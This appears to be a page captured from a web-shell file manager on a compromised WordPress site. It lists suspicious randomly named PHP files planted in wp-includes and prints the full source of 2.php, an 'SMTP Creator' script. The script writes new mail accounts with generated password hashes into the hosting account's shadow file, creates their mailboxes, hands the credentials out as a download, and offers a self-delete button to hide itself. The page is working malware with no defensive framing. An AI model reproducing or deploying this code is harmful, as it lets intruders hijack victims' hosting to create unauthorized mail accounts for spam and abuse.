9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-includes / 2.php

run：R W Run

ID3

DIR

2026-01-30 07:42:00

R W Run

IXR

DIR

2026-01-30 07:42:00

R W Run

PHPMailer

DIR

2026-01-30 07:42:00

R W Run

Requests

DIR

2025-08-01 16:25:23

R W Run

SimplePie

DIR

2026-01-30 07:42:00

R W Run

Text

DIR

2026-01-30 07:42:01

R W Run

abilities-api

DIR

2026-01-30 07:42:00

R W Run

assets

DIR

2026-01-30 07:42:00

R W Run

block-bindings

DIR

2026-01-30 07:42:00

R W Run

block-patterns

DIR

2026-01-30 07:42:00

R W Run

block-supports

DIR

2026-04-11 08:13:52

R W Run

blocks

DIR

2026-01-30 07:42:00

R W Run

certificates

DIR

2026-01-30 07:42:01

R W Run

css

DIR

2026-01-30 07:42:00

R W Run

customize

DIR

2026-01-30 07:42:00

R W Run

fonts

DIR

2026-01-30 07:42:00

R W Run

html-api

DIR

2026-01-30 07:42:00

R W Run

images

DIR

2026-01-30 07:42:00

R W Run

interactivity-api

DIR

2026-01-30 07:42:00

R W Run

DIR

2026-01-30 07:42:01

R W Run

l10n

DIR

2026-01-30 07:42:01

R W Run

php-compat

DIR

2026-01-30 07:42:00

R W Run

pomo

DIR

2026-01-30 07:42:00

R W Run

rest-api

DIR

2026-01-30 07:42:00

R W Run

sitemaps

DIR

2026-01-30 07:42:00

R W Run

sodium_compat

DIR

2026-01-30 07:42:00

R W Run

style-engine

DIR

2026-01-30 07:42:00

R W Run

theme-compat

DIR

2026-01-30 07:42:00

R W Run

widgets

DIR

2026-01-30 07:42:00

R W Run

2.php

3.83 KB

2026-04-11 14:14:22

R W Run

58sxu3jm.php

1.16 KB

2026-04-10 23:48:36

R W Run

BDKR.txt

52 By

2026-04-11 06:13:24

R W Run

orkbhlxy.php

760 By

2026-04-10 18:50:08

R W Run

style.php

946 By

2026-04-11 07:13:41

R W Run

temljm4j.php

1.16 KB

2026-04-11 06:13:24

R W Run

wp-themes.php

53.22 KB

2026-04-11 13:22:27

R W Run

error_log

📄2.php

<?php

/* ---------------- SELF DELETE ---------------- */

if(isset($_POST['self_delete'])){
    unlink(__FILE__);
    die("Deleted");
}

/* ---------------- FORM ---------------- */

if(!isset($_POST['count'])){

echo '
<style>
body{background:#0f172a;color:#fff;font-family:Arial;text-align:center}
.box{background:#1e293b;padding:20px;border-radius:10px;width:320px;margin:auto;margin-top:50px}
input,select,button{width:100%;padding:10px;margin:5px 0;border:none;border-radius:5px}
button{background:#22c55e;color:#000;font-weight:bold;cursor:pointer}
.red{background:#ef4444}
</style>

<h2>SMTP Creator</h2>

<select name="random">
<option value="1">Random ON</option>
<option value="0">Random OFF</option>
</select>

<button>Create SMTP</button>
</form>

<hr>

<form method="post">
<button class="red" name="self_delete">Self Delete</button>
</form>

</div>
';

exit;
}

/* ---------------- SETTINGS ---------------- */

$count = intval($_POST['count']);
$randomMode = intval($_POST['random']);

$port = "587";
$prefix = "mail";

/* ---------------- PATH ---------------- */

$user = get_current_user();
$home = "/home/".$user;

$etcPath = $home."/etc";
$mailPath = $home."/mail";

/* ---------------- DOMAIN SCAN ---------------- */

$domains = array_values(array_filter(scandir($etcPath), function($d) use ($etcPath){
    return $d!="." && $d!=".." && is_dir($etcPath."/".$d);
}));

if(empty($domains)){
    die("No domain");
}

/* ---------------- DOMAIN SELECT LOGIC ---------------- */

$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower(str_replace("www.", "", $host));

$domain = null;
$log = "";

/* 1. Exact match */
if(in_array($host, $domains)){
    $domain = $host;
}

/* 2. Partial match */
if(!$domain){
    foreach($domains as $d){
        if(strpos($host, $d) !== false){
            $domain = $d;
            break;
        }
    }
}

/* 3. Fallback to current host */
if(!$domain && !empty($host)){
    $domain = $host;
    $log = "[!] Fallback used: current host ($host)\n";
}

/* 4. Final fallback */
if(!$domain){
    $domain = $domains[0];
    $log = "[!] Fallback used: first scanned domain ($domain)\n";
}

$shadow = "$etcPath/$domain/shadow";

/* ---------------- FUNCS ---------------- */

function r($l=8){
    $c="abcdefghijklmnopqrstuvwxyz0123456789";$s="";
    for($i=0;$i<$l;$i++){$s.=$c[random_int(0,strlen($c)-1)];}
    return $s;
}

function p($l=12){
    $c="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";$s="";
    for($i=0;$i<$l;$i++){$s.=$c[random_int(0,strlen($c)-1)];}
    return $s;
}

function h($p){
    $s=substr(str_shuffle("abc123xyz789"),0,16);
    return crypt($p,'$6$'.$s.'$');
}

function m($path){
    $f=["cur","new","tmp",".Drafts",".Sent",".Trash",".spam",".Archive"];
    foreach($f as $x){
        $dir=$path."/".$x;
        if(!is_dir($dir)) mkdir($dir,0755,true);
    }
}

/* ---------------- EXIST ---------------- */

$e=[];

if(file_exists($shadow)){
    foreach(file($shadow) as $l){
        $x=explode(":",$l);
        $e[$x[0]]=1;
    }
}

/* ---------------- CREATE ---------------- */

$out = $log;
$c=0;$i=1;

while($c<$count){

$u = $randomMode ? r() : $prefix.$i;

if(isset($e[$u])){ $i++; continue; }

$pw = p();
    $hash = h($pw);

file_put_contents($shadow,"$u:$hash:0:0:99999:7:::\n",FILE_APPEND);

$dir = "$mailPath/$domain/$u";
    m($dir);

$out .= "$domain | $port | $u@$domain | $pw\n";

$c++; $i++;
}

/* ---------------- DOWNLOAD ---------------- */

header("Content-Type: text/plain");
header("Content-Disposition: attachment; filename=smtp.txt");

echo $out;